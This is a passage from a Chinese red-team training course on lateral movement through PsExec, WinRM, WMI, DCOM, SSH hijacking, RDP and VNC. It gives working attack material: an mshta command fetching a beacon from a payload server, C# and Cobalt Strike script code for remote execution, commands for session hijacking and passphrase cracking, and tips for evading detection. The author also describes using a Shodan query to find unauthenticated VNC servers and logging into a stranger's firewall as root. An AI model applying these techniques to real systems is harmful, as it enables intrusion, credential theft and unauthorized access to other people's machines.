章节11:横向移动
PsExec
横向移动,即通过对网络中的其他主机实现访问和控制从而扩大我们的占领范围,本质是因为我们已经拿下的资源 (用户、主机等)对其他主机具有特定的权限。在之前的章节,我们通过各种域攻击手法,例如 DACL 利用、组策略利用等,攻陷了更多的用户和主机。之前,我们能对其他主机实现资源访问、代码执行,现在,我们想要获得来自这些主机的 Beacon 或 Shell。尽管横向移动的真正难点在于攻陷这些具有权限的用户或主机从而实现对他们的模仿以获得特权,但在不同情况下选择最合适的横向移动方法也很重要,因为不同的横向移动方法所需要的需求不一样,也有着不同的 IoC。
在 Cobalt Strike 中,jump 命令配合具体方法的子命令可用于横向移动,而 remote-exec 用于执行远程代码。
PsExec
PsExec 是攻击者最青睐的横向移动方式之一,通过 PsExec 横向移动之后,攻击者可以获得 NT AUTHORITY\SYSTEM 的权限。同名工具 PsExec 是微软 Sysinternals Suite 中的一部分 (https://learn.microsoft.com/en-us/sysinternals/downloads/psexec),正因为是微软的工具,因此不会受到杀毒软件的封锁。不过因为被广泛滥用,一些安全产品还是会封锁。接下来,我们来分解一下工具 PsExec 的原理,通过 PsExec 横向移动的原理可以略有不同,以下只是 PsExec.exe 的实现:
1:PsExec 工具会上传服务二进制文件 psexecsvc.exe 至目标的 ADMIN$ 中,通常是目录 c:\Windows
2:通过调用 OpenSCManager 与 CreateService API 在目标主机上创建新服务,指向上传的这个服务二进制文件
3:调用 StartService API 启动服务
4:PsExec 通过命名管道与 psexecsvc.exe 进行通信,其中 CreateFile 用于打开对命名管道的句柄,ReadFile 以及 WriteFile 用于发送和接收数据
5:PsExec 将要执行的命令通过命名管道发送给 psexecsvc.exe,调用 CreateProcess 运行命令
6:使用结束后,通过调用 DeleteService API 来删除服务
来看看上述过程中的一些 IoC,如下图所示,我们可以看到 PSEXECSVC 服务被安装然后启动。
攻击者可以通过自定义服务名、上传目录、自定义服务二进制文件等方式改善 OPSEC。
PsExec 需要用户对目标主机具有本地管理员权限,并且需要 445 端口开启。但是 2022 年的一份研究 (https://pentera.io/blog/135-is-the-new-445/) 表明,只开启端口 135 也是可以实现的。对于非默认的本地管理员组账户 (例如 admin),如果在开启了远程 UAC (默认开启),即本地账户令牌过滤策略 (https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction),使用 PsExec (对于一些其他方式的横向移动也适用) 进行横向移动会被阻止。例如,我们拥有了某主机的一个非默认本地管理员账户 admin 凭证,我们想通过 PsExec 远程访问该主机并获得 SYSTEM 权限,但会发现访问失败,这就是远程 UAC 的效果,对于域账户不适用。
Windows Sysinternal PsExec
在上文,我们说过了微软原生工具 PsExec 的原理,那么至于使用方法就很直接了。如果当前用户在本地是管理员,可以用此来获得 SYSTEM 权限,需要当前是高完整度。
当前域用户对远程主机具有本地管理员权限的话,指定远程主机即可。
C2
jump-psexec
我们知道了 CS 内置的 jump 命令可用于横向移动,那么 jump psexec64 则是使用 psexec 的方法。根据 PsExec 的原理,这个过程是需要上传服务二进制文件的,而 CS 内置的该命令显然会上传服务二进制格式的 Beacon,默认情况下容易被安全产品所捕捉。如果我们当前进程的令牌可以访问远程主机的 ADMIN$,那么可以直接通过命令 jump psexec64 <主机名> <监听器> 进行横向移动。如果不可以,但有着所需账户的明文凭证,可以先生成新的令牌再横向移动。
之后,我们会获得 SYSTEM 权限的 Beacon。
第三方工具
Impacket
Impacket 中的 psexec.py 脚本大家已经很熟悉了,不仅支持明文密码认证,还支持 NTLM、票据、Keytab 等认证方式。
PaExec
PaExec (https://github.com/poweradminllc/PAExec) 是对 PsExec 的复现,用法几乎相同,但能突破一些 PsExec 的限制,例如下图。以本地管理员身份横向移动到目标主机,PsExec 拒绝了访问,但 PaExec 却可以。
而且考虑到 PaExec 的曝光度没有 PsExec 高,可以作为替代品。
BOF scshell
BOF scshell (https://github.com/Mr-Un1k0d3r/SCShell) 以更佳的 OPSEC 实现了基于 PsExec 的横向移动。scshell 是通过 DCERPC 实现认证的,而不是 SMB。蓝队会着重防御 SMB,可能因此忽视了 DCERPC 协议。此外,scshell 并不会注册和创建新的服务,而是对开启一个已有服务,修改其二进制文件的地址。我们可以选择上传一个载荷到目标主机,也可以使用 C:\windows\system32\cmd.exe 这样的内置程序实现代码执行,例如
C:\windows\system32\cmd.exe /c C:\windows\system32\mshta.exe http://<载荷服务器>/beacon.hta
scshell 并不会提供命令的输出,因此适合通过远程代码执行的方式运行载荷。
编程实现
我们也可以通过 C# 编程来实现 PsExec 横向移动。与微软的 PsExec 不同的是,如下程序修改了现有服务的二进制文件地址,使其指向自己制定的程序,这点与 scshell 相同。
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
namespace movement
{
class Program
{
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);
[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
static void Main(string[] args)
{
String target = args[1];
IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);
string ServiceName = args[2];
IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);
string payload = args[3];
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);
bResult = StartService(schService, 0, null);
}
}
}
不过这代码也有一些不完善的地方,例如没有使用后对服务进行修改复原。因此,该代码可用于理解在 API 层面的 PsExec 的原理,但在实战中还是请使用更加完善的途径。
WinRM
WinRM,即 Windows 远程管理,是微软对 WS-MAN 协议的实现,提供了对远程主机的 PowerShell 访问。远程 PowerShell 正是建立在 WinRM 协议之上,使用户可以对远程主机运行 PowerShell 命令。而对于攻击者而言,这也是远程的对远程主机实现代码执行以及横向移动的途径。WinRM 默认端口为 5985,但因为是较高端口号,因此可以进行更改。
默认情况下,只有本地管理员权限的用户可以使用 Powershell 远程登陆,但对于 Remote Management Users 组中的非本地管理员成员,依旧可以使用 PowerShell 远程登陆。例如,prod\john 用户虽然不是本地管理员,却可以使用 WinRM 访问 Srv01。
PowerShell
在 Powershell 会话中,如果当前用户对特定主机具备本地管理员或者 WinRM 的权限,可以通过命令 Enter-PSSession -ComputerName <主机名> 进入远程主机的交互式 PowerShell 会话。当然,我们也可以提供其他用户的凭证之后进入会话。
我们还可以通过下述命令对远程主机执行代码。
Invoke-Command -ComputerName <主机名> -ScriptBlock {<命令>}
C2
jump winrm
在 CS 中, jump winrm 可用于通过 WinRM 进行横向移动,之后团队服务器会得到新的高完整度的 Beacon。
第三方工具
Evil-WinRM
我们还可以通过外部工具来实现 WinRM 的远程访问以及横向移动。例如 Evil-WinRM。Evil-WinRM 支持 Kerberos 认证,以及NTLM 认证。
Evil-WinRM 还带有一些内置的后利用命令,例如文件传输、服务枚举、反射式加载等。
WMI
WMIC (Windows 管理仪表) 是一项 Windows 管理功能,它为本地和远程访问 Windows 系统组件提供统一的环境。系统管理员可以创建 VBScript 或 PowerShell 脚本来管理本地和远程的 Windows 主机。WMI 也是横向移动和远程代码执行的原生方式,它需要本地管理员权限。
WMI 基础
在 WMI 中,命名空间是类的逻辑容器,它允许以层次结构组织类,每个命名空间可以包含类、类的实例或其他命名空间。WMI 使用命名空间来避免类之间的命名冲突。WMI中的根命名空间是 Root,Root下有几个标准的命名空间,如 CIMV2、Security、StandardCimv2 等。
WMI 中的类是定义一种托管对象类型的架构,类似于数据库中的表。 每个类都有一个属性列表,这些属性定义了类实例的数据字段,以及可以在类实例上执行的操作的方法。例如,在 Root\CIMV2 命名空间中,有一个名为 Win32_Process 的类,它代表一个运行在 Windows 系统上的进程。 Win32_Process 类具有 Name 和 ProcessID 等属性,提供有关每个进程的信息,以及 Create 和 Terminate 等可用于控制进程的方法。
通常,要执行 WMI 操作,我们需要指定包含要使用的类的命名空间以及类的名称。 例如,要创建一个新进程,我们可以使用 Root\CIMV2 命名空间中的 Win32_Process 类,并调用该类的 Create 方法。接下来,我们通过 PowerShell 命令熟悉一下 WMI。
列举所有命名空间,需要提升特权:
Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace
列举 root\cimv2 中的命名空间:
Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace
罗列有关 Win32_process 的类,如果不指定命名空间,默认是 root\cimv2。
Get-WmiObject -Recurse -List -class win32_process*
WMI 还支持基于 SQL 语法的查询,我们可以用如下查询做到相同的事情:
Get-WmiObject -Query 'Select * From Meta_Class WHERE __Class Like "win32_process%"'
调用 Win32_process 类以查看进程的相关信息
Get-WmiObject -Class win32_process | select Name,ProcessId,CommandLine
调用 Win32_process 类的 Create 方法来创建新的进程:
$process=[wmiclass]"win32_process"
$process.Create("calc.exe",$null,$null)
wmic.exe
无论是枚举信息还是执行任务,wmic.exe 都很得心应手,wmic 对类添加了别名,例如 Win32_process 在 wmic 里可以通过 process 进行访问。不提供任何选项,直接运行 wmi.exe 会进入交互式控制航,可以查看所有类。
我们可以通过如下的原生命令给远程主机创建新的进程:
wmic /node:<主机> /user:<用户名> /password:<密码> process call create "<命令>"
然后发现在目标主机上该进程确实存在了。
将要启动的进程换为载荷,便能实现横向移动了。
C2
remote-exec wmi
我们会发现没有 jump wmi 的选项,只有 remote-exec wmi。remote-exec 方法使用的其实就是 process call create 来执行任意命令。
因此,我们可以先上传载荷文件到目标主机上,再使用 remote-exec 来执行。
第三方工具
Impacket
Impacket 中的 wmiexec 同样可用于横向移动,不过返回的是半交互式 Shell。
因为 wmiexec 会将输出写入文件,因此会带来 IoC,静默命令以及取消输出可以改善这一问题。
XiaoLi 修改后的 wmiexec 脚本 (https://github.com/XiaoliChan/wmiexec-RegOut) 通过注册表读写输出,也是一个不错的方法。
DCOM
根据 Microsoft (https://docs.microsoft.com/en-us/windows/desktop/com/the-component-object-model),组件对象模型 (COM) 是分布式、平台独立、面向对象的,用于创建可交互的二进制软件组件的系统。COM 是 Microsoft 的 OLE 、ActiveX 和其他技术的基础技术。
对于攻击者来说,DCOM 还可以用于远程代码执行和横向移动,需要访问端口 135 和本地管理员权限。相对来说,基于 DCOM 的横向移动会更加难以侦查,因为有多种方法可用,并且都有各自不同的 IoC。以及还有大量未被文档记录的方法,以及可能含有未被发现 RCE 利用的。
DCOM 基础
以 MMC 应用类来说,它可以让我们脚本化 MMC 管理单元的操作。枚举该 COM 对象的方法和属性,发现 ExecuteShellCommand 看起来可以用于远程代码执行。
$com=[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","<IP地址>"))
$com.Document.ActiveView | Get-Member
就这样,我们有了这么一个 DCOM 应用可以通过网络远程访问并且执行命令。不过,不是每个 DCOM 对象都有关联的 ProgID,例如 ShellWindows,我们就不能通过 ProgID 来查询了。
我们可以使用 OleViewDotNet (https://github.com/tyranid/oleviewdotnet) 工具来查询目标 DCOM 对象的,得到 CLSID,然后通过 GetTypeFromCLSID("<CLSID>","<IP>") 来实例化对象。
顺便,我们能看到 Launch Permission 是空的,这种情况下默认允许管理员访问,这个属性应当被配置具体的访问控制。因此,通过不同的 DCOM 对象进行横向移动可能需要不同的权限。
刚刚的 MMC20 也没有配置具体的访问控制,这也是我们得以在管理员的情况下借助 DCOM 实现横向移动的原因之一。
随着对象在目标主机上的实例化,我们可以与之交互并且调用任何方法
$item = [System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("<clsid>", "<IP>")).item()
$item.Document.Application | Get-Member
ShellExecute 函数原型如下,我们便可以调用该方法实现代码执行了。
iRetVal = Shell.ShellExecute(
sFile,
[ vArguments ],
[ vDirectory ],
[ vOperation ],
[ vShow ]
);
PowerShell
我们可以通过如下 Powershell 命令对目标主机实现命令执行:
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","<IP地址>")).Document.ActiveView.ExecuteShellCommand("<程序>","0","0","0")
我们会发现,成功地创建了指定程序的新进程。
将程序指定为我们的载荷,执行后立刻就收到了新的会话。
这里,我们使用的是 MMC20 的方法。不过 MMC20 是在 DCOM 横向移动中最常被使用的方法,因此受到了更严格的监控。除了 目前为止提到的 MMC20.Application 以及 ShellWindows,ShellBrowserWindow,Excel.Application,Outlook.Application 等同样可被用于远程代码执行,但其中有的方法有特定要求,例如目标主机上安装有 Excel。
C2
jump dcom 插件
CS 没有自带 jump dcom 命令,但我们可以通过外部工具以及聚合脚本来实现。下载 Invoke-DCOM (https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1),并且下载 Elevate Kit (https://github.com/cobalt-strike/ElevateKit),导入 cna 脚本。
在 elevate.cna 最下方添加如下的脚本内容,并重新载入脚本。该脚本将客户端的 Invoke-DCOM.ps1 放在内置 Web 服务器上,使目标主机读取并导入该脚本,最后执行命令。
sub invoke_dcom
{
local('$handle $script $oneliner $payload');
btask($1, "Tasked Beacon to run " .listener_describe($3) . " on $2 via DCOM", "T1021");
$handle = openf(getFileProper("<Invoke-DCOM脚本所在目录>", "<Invoke-DCOM.PS1 脚本名称>"));
$script = readb($handle, -1);
closef($handle);
$oneliner = beacon_host_script($1, $script);
bpowerpick!($1, "Invoke-DCOM -ComputerName \" $+ $2 $+ \" -Method MMC20.Application -Command <载荷地址,反斜杠应为双反斜杠>", $oneliner);
}
beacon_remote_exploit_register("dcom", "x64", "Use DCOM to run a Program", &invoke_dcom);
通过这样,我们把该脚本以别名的形式集成到了 CS 内置命令中。我们可以看到,jump 里新增了 dcom 的子选项。
因为我们指定了自己的载荷,因此最后的监听器参数任意,不参与实际作用。
第三方工具
Impacket
我们也可以通过 impacket 中的 dcomexec 实现横向移动,指定 DCOM 对象,目前可以使用 MMC20,ShellWindows 以及 ShellBrowserWindow,返回的 Shell 依旧是半交互式的。
SSH劫持
SSH 是一个可以用于远程访问网络设备的网络协议,广泛运用于 Linux 主机,并且如今 SSH 在 Windows 主机上的使用也越来越广泛。对于我们网络安全人士,直观地概括就是 SSH 会话能给予我们完全交互式的 Shell。SSH 还可以与 FTP 服务集成,以加强文件安全性。因为 SSH 能访问主机的特性,也被一些集中式管理工具集成,以对受管理的主机进行命令执行、分发 IT 任务等,
SSH 不仅支持密码登陆,还支持密钥登陆。如果使用密钥认证的话,需要用户通过 ssh-keygen 命令先生成一对私钥与公钥。从 IT 管理员的角度来看,应当尽可能禁用密码认证,只允许密钥认证。尽管基于密钥的认证更加安全,但如果密钥相关的重要文件被窃取或者攥改了,也会导致主机被入侵。对于攻击者,这可以帮助我们实现横向移动。因为如今 Windows 也支持 SSH 服务,针对 SSH 的成功攻击不仅可以让我们入侵更多的 Linux 主机,也可以让我们拿下 Windows 主机以及实现对特权用户的模仿。
SSH 重要文件
id_rsa
id _rsa 是用户的 SSH 私钥,私钥文件应该被保护好,只有所有者用户才允许拥有读写权限。因为对于攻击者而言,这是最有吸引力的了,SSH 私钥可以授予我们访问任何信任该密钥的主机 (私钥配套的公钥在目标主机的 authorized_keys 中),在横向移动方面尤其有效。我们不仅可以在入侵了一台配置有 SSH 服务的主机后生成或搜集各个用户的 SSH 私钥以实现持久化访问,如果我们发现了可能是用于连接其他主机的私钥,那么我们便可以连接到其他主机。这在开发与生产环境是比较常见的,因为员工可能需要通过 SSH 连接到多台主机上作业,因此索性在用户目录下保存了多个主机的 SSH 私钥,这样的图省事带来的是多个主机一并被入侵。
默认情况下,私钥文件存储为 ~/.ssh/id_rsa 目录中,需要通过 ssh-keygen 命令生成或者覆盖现有的,用户还可以指定 Passphrase 来保护密钥,但对于贪图方便的用户,可能就一路回车跳过了这个环节。
而对于设置了 Passphrase 的私钥,在使用私钥进行认证的时候,我们需要输入私钥的 Passphrase 方可认证。我们可以对其进行离线字典破解恢复出 Passphrase。
使用 ssh2john 将私钥的 Passphrase 提取出来成哈希格式
再使用 john 来字典破解该哈希,得到 Passphrase 为 dev01。
id_rsa.pub 与 authorized_keys
id_rsa.pub 为 id_rsa 所对应的公钥,位置为 ~/.ssh/id_rsa.pub,可以自由分发。当用户尝试连接到远程系统时,系统使用此公钥加密质询消息,如果能成功使用私钥解密该消息,即证明用户拥有相应的私钥,那么将获得访问权限。
公钥认证,即将用户的公钥添加到目标主机的 authorized_keys 中。例如,用户 Alice 持有一 VPS,为了能实现免密码 SSH 登陆,Alice 将自己在个人用主机上的 SSH 公钥添加到 VPS 上一用户的 authorized_keys 中。如图所示,主机 ts 为我的个人 VPS,在该文件中有 3 个公钥,前 2 个为我其他个人主机。我将这些设备上的 SSH 公钥添加在这个文件中,就可以在这 2 个设备上以 root 身份访问 ts 了。
私钥认证,在 id_rsa 部分说过了,私钥以凭证的方式被用于向 SSH 服务器认证,带来的问题就是如果私钥被攻击者窃取了,那么私钥可以访问到的主机都会沦陷。如下图所示,我们看到在 dev01 上,dev01 用户的公钥也存在于 authorized_keys 中,这样的话,持有 dev01 私钥的用户,当然也包括了窃取了私钥的攻击者,可以通过私钥向 dev01 的 SSH 服务器认证。
回顾该图的上一张图,第 3 个公钥是 dev01 的,什么意思呢?我在 ts 上的 authorized_keys 中添加了 dev01 的公钥,那么持有 dev01 私钥的用户可以以 root 身份访问 ts 这台主机了。因此,私钥的窃取可能导致多台主机的沦陷,这取决于有多少台主机信任该密钥。
known_hosts
known_hosts 文件位于 ~/.ssh/known_hosts,保留着客户端曾经连接过的所有远程主机的密钥列表。 该文件用于验证用户是否正在连接到期望的服务器,如果尝试连接的远程服务器的密钥与存储在 known_hosts 文件中的密钥不匹配,SSH 将警告用户目标服务器的身份已更改。作为攻击者,我们可以查看该文件来判断该用户的连接历史,该用户可能对这些连接过的主机具有访问权,是我们横向移动的目标。
总之,我们来总结一下针对 SSH 密钥的枚举步骤:
1:查看所有用户的私钥,无论是本地用户的私钥,还是可以访问其他主机的。私钥可能会被改名,因为需要配合内容判断。
2:检查私钥是否有 Passphrase,如果有,尝试破解出 Passphrase。
3:查看 authorized_keys 文件,判断哪些用户/主机可以连接到当前主机。从后利用角度,我们也可以将自己的 SSH 公钥添加到该文件末尾,实现持久化访问。
4:查看 known_hosts,配合命令历史判断该用户连接过哪些主机。不过 known_hosts 中的内容可能被哈希过。
5:尝试连接其他主机
SSH Control Master
SSH 有一个特性叫 Control Master,可以通过单个网络连接共享多个会话。这意味着只要用户建立起第一个 SSH 会话,那么后续的 SSH 连接不再需要密码,从而实现尾随在第一个会话身后。以靶场里的 Dev01 为例,账户 dev01 正在以 med-deal\october 用户身份通过 SSH 访问 Srv02,而我们已经入侵了 Dev01,因此我们可以尾随这个 SSH 会话实现无须密码便能移动到 Srv02。
利用方式与条件如下:
1:该主机已经开启 Control Master了,在 .ssh 文件夹中会存在 config 文件,内容如下
Host *
ControlPath ~/.ssh/controlmaster/%r@%h:%p
ControlMaster auto
ControlPersist yes
2:进入 .ssh 文件夹下的 contromaster 子文件夹,我们会发现 socket 文件,文件名格式为 user@host:22。
3:这时候,我们通过命令 ssh user@host 无密码移动到要劫持的会话所访问的远程主机上。
如果我们已经是 root 用户了,通过 -S 选项指定 socket 文件即可。
即便当前用户尚未开启 ControlMaster,我们可以替他开启,这样在用户下次访问其他主机的时候,我们就能实现劫持。总结一下,我们在 A 主机上发现用户正在通过 SSH 访问 B 主机,我们可以劫持该会话,尾随在其后面,无密码移动到主机 B。
SSH 代理转发
SSH 代理是一个在后台运行并将用户的私钥存储于内存中的程序,因此用户不必在每次使用 SSH 命令时都输入 Passphrase。该代理充当用户的私钥和 SSH 客户端软件 (例如 ssh 或 scp) 之间的中间人。每当进程 (如 SSH 会话) 需要使用其中一个密钥向服务器进行身份验证时,代理会处理服务器发送的挑战的解密和签名,因此不需要传递私钥本身,Passphrase 也不用再次输入。这不仅提供了便利,而且还增加了安全性。由于代理将用户的私钥保存在内存中而不是磁盘上,因此它降低了私钥被攻击者窃取的风险。
而代理转发是 SSH 的一个特性,可以通过多个服务器建立连接链,并且可以在最远程的服务器上使用在本地主机上运行的 SSH 代理。 简单来说,它允许用户从远程服务器使用本地 SSH 密钥。当用户需要从一台跳板主机通过 SSH 连接到另一台服务器,而不需要 SSH 密钥传输到本地主机以外的任何其他服务器时,这会很方便。SSH 代理转发提高了安全性,因为我们的 SSH 私钥永远不会暴露给任何远程服务器。但是,如果连接链中的其中一台服务器被入侵,那么密钥可能会被滥用来建立新的连接。
假设我们自己的主机为一个要登陆多个主机的用户的设备,靶场中的 Web01 为跳板主机,Dev01 为远程主机,情景与前置需求如下:
1:该用户的公钥已经被添加到了 Web01 与 Dev01 上了,并且通过配置 ssh 文件夹中的 config 文件来启用代理转发。
ssh-copy-i -i ~/.ssh/id_rsa.pub <用户名>@<跳板主机>
ssh-copy-i -i ~/.ssh/id_rsa.pub <用户名>@<远程主机>
启动了 SSH 代理
密钥也已经添加到了 SSH 代理中
2:跳板主机的 sshd_config 文件中开启了代理转发
3:该用户已经通过 SSH 连接到了跳板主机 Web01 上了
4:在跳板主机 Web01 上也能进而访问到 Dev01。
5:下图视角为攻击者的视角,假设攻击者在跳转主机上已经拿到了 root 特权。我们首先列举一下当前主机所存在的 SSH 连接,并且得到 SSH 进程的 PID。
如下图所示,PID 83556 意味着 SSH 连接后的 bash 会话,我们读取该 PID 的环境变量,发现了套接字文件的地址。
我们当前是 root 用户,使用找到的 SSH 套接字从而劫持 SSH 会话,免密横向移动到 dev01。
RDP
在 Windows 系统中,远程桌面能提供 GUI 的远程访问,在企业环境里使用极多,对于攻击者而言也是一种天然的横向移动的方式。如果我们已经拥有了受害用户的明文密码,并且受害用户是其他主机的本地管理员或者是 Remote Desktop Users 组成员,那么我们便可使用 mstsc.exe,即 RDP 客户端远程访问。在 Linux 平台,我们可以使用工具 xfreerdp 或者 rdesktop。
RDP 远程登陆是典型的交互式认证情景,交互式登陆需要明文密码,那也意味着,如果受害用户使用 RDP 登录到已经被入侵的主机上,凭证会留在被入侵的主机的内存之中,并且即便断开连接也不会让凭证消失。进而攻击者可以通过 Mimikatz 之类的工具导出凭证。我们甚至可以利用 BoF RdpThief (https://github.com/0x09AL/RdpThief) 实现窃取明文密码,原理是检测 mstsc.exe 进程并且通过 API Hooking 来劫持明文凭证的输入。
此外,我们在之前章节提到过受限管理员模式,它可以解决凭证窃取的问题,但也可以让攻击者在不知道被攻陷的用户的明文密码的情况下实现 RDP 横向移动。
以及,我们来讨论一下 RDP 劫持。在 Web02 上,我们是以 serveradm 用户的身份交互式完成交互式登陆的,在任意一主机上以本地管理员帐号 administrator : Passw0rdweb02 以 RDP 访问 Web02,这样,Web02 上就同时有着至少这 2 个交互式登陆了。我们可以通过任务管理器确认这一点。
我们可以切换至另一个用户,但需要提供密码。
输入正确的密码后,我们当前的会话会从 serveradm 切换至 Administrator 了。那么,我们怎么样可以不需要密码就能切换至另一个用户呢?我们需要提升至 SYSTEM 权限,可以通过 PsExec 或者 PowerRunAsSystem (GitHub - DarkCoderSc/PowerRunAsSystem: Run application as system with interactive system process support (active Windows session)) 实现。
然后执行如下命令:
cmd /k tscon <想要切换至的 ID> /dest:console
很快,我们就又切换回去了,并不需要输入密码。那么,这有什么作用呢?当我们拿到了一台主机的最高权限,如果这时候还有其他用户正在通过 RDP 连接该主机,我们可以劫持他们的 RDP 会话,以观察与推测他们当前进行的操作。不过这么做,多多少少会有些不隐蔽,但其他用户可能只是以为网络波动、其他人恰好也在连接。
2 周前,一款基于 TinyNuke (https://github.com/rossja/TinyNuke) 的名为 HiddenDesktop (https://github.com/WKL-Sec/HiddenDesktop) 的 BOF 解决了 RDP 会话劫持中挤下线的问题,即可以在用户不知情的情况下与他的桌面会话交互,效果可以如下所示:
此外,RDP 的连接选项可以高度自定义化,其中对于攻击者非常有用的有磁盘映射,即在 RDP 服务器上可以访问到 RDP 客户端的本地磁盘。我们在 Dc05 上发起对 Web02 的 RDP 连接,勾选磁盘映射,以 Web02\Administrator 身份。
尽管 RDP 客户端会警告用户可能的风险,但因为磁盘映射并不是默认选项,用户既然这么配置了说明他有这样的需求,例如更加方便的文件传输、软件安装、数据备份等。
当连接成功创建后,发起 RDP 的用户可以通过 UNC 路径 \\tsclient 来访问映射的磁盘。因为连接从 Dc05 发起的,那么可以通过 \\tsclient\c 访问到 Dc05 的 C 盘。
不仅如此,还具有读写权限,因为对于 RDP 客户端主机的文件系统的权限与发起的用户 white-bird\administrator 是一致的。
但是,这个 UNC 路径只有在 RDP 会话中才能访问到,作为攻击者,可以劫持该 RDP 会话,但是势必会引起警惕。更隐蔽的方法是向 RDP 的会话进程注入载荷,得到新的 Beacon,然后访问该 UNC 路径。
目前我们寄居在这个 RDP 的进程中,但只要用户访问结束退出连接,我们的 Beacon 也会丢失。但既然目前我们有写权限了,回想一下,怎么做可以返回一个稳定的 Beacon 呢?
其他应用
还有一些其他常用的应用与协议也可以被攻击者用于横向移动,可以通过安装特定的软件或运行特定的服务器实现。虽然并不是原生的,但在特定的网络环境中具有一定的使用率。
VNC
VNC 是一个提供远程 GUI 访问的服务,类似于 RDP。但与 RDP 略有不同的是,VNC 是平台无关的,也就是不仅 Windows 支持 VNC 服务,Linux 主机、手机、OT 设备等都支持 VNC 服务,并且其他用户访问 VNC 并不会把当前用户挤下去,而是共享同一个控制台会话。VNC 服务默认端口是 5900 或者 5901。
在企业环境中,VNC 是比较常见的,作用类似于 RDP,给员工提供对其他主机的远程访问。因为是企业内网,员工往往掉以轻心,没有给 VNC 服务设置强密码,从而形成了一个横向移动的向量。此外,不同厂商的 VNC 服务器也具有一些历史 CVE 漏洞,例如 CVE-2019-17662,CVE-2006-2369 等,例如可以实现认证绕过。但是对于 VNC 服务而言,最主要的利用方式还是搜集密码实现远程访问,以及直接访问没有设置认证的 VNC 服务器。没有配置认证的 VNC 服务器并不少见,如果我们在 Shodan 上搜索语句 "authentication disabled" "RFB 003.008",会得到 9281 个未开启认证的 VNC 服务实例。
登陆其中一个 VNC 服务器进行验证,这是一个 pfsense 防火墙主机,而且当前用户已经是 root 了。
不过,即便 VNC 服务没有启用认证,考虑到 VNC 服务的性质,我们依旧可能需要凭证登陆。因为远程访问用户所看到的界面跟主机的界面是同步的,如果此时用户并不在电脑前,远程主机此时进入屏幕保护状态,再次唤醒时,是需要重新认证的。遇到这种情况,我们可以守株待兔,即等到用户回到主机前再次登录系统。
远程控制类应用
远程控制类的应用则更加多种多样,例如 TeamViewer、ToDesk 等,顾名思义,在输入目标设备的信息以及密码后,便可以访问远程主机。这类应用往往强制设有密码,但如果我们发现任何拿下的用户对其他设备是控制方,那么我们能进而接管这些用户远程控制的设备。
第11章课后作业
练习
1:根据 PsExec 的原理,手动实现这个过程。提示一下,过程包括了上传服务二进制文件、开启远程服务等。
2:实际上计划任务也可以作为横向移动的方法,研究一下前提条件,以及手动实现这个过程。
3:尝试一下 XiaoLi 修改后的 wmiexec (https://github.com/XiaoliChan/wmiexec-RegOut)。
4:手动实现 DCOM 横向移动的 ShellBrowserWindows 方法。
5:复现 SSH 劫持的 2 种方法。
6:如果有条件,即拥有能与你的团队服务器连通的 Windows 服务器,尝试 BoF HiddenDesktop。
7:RDP 配置是可以保存为 .rdp 文件的,双击 rdp 文件可以根据文件里的配置打开对目标 RDP 服务器的连接。对于这个特性,你能想到什么用于攻击的场景呢?推荐阅读文章 https://v2cloud.com/tutorials/rdp-file-configuration 以及 https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/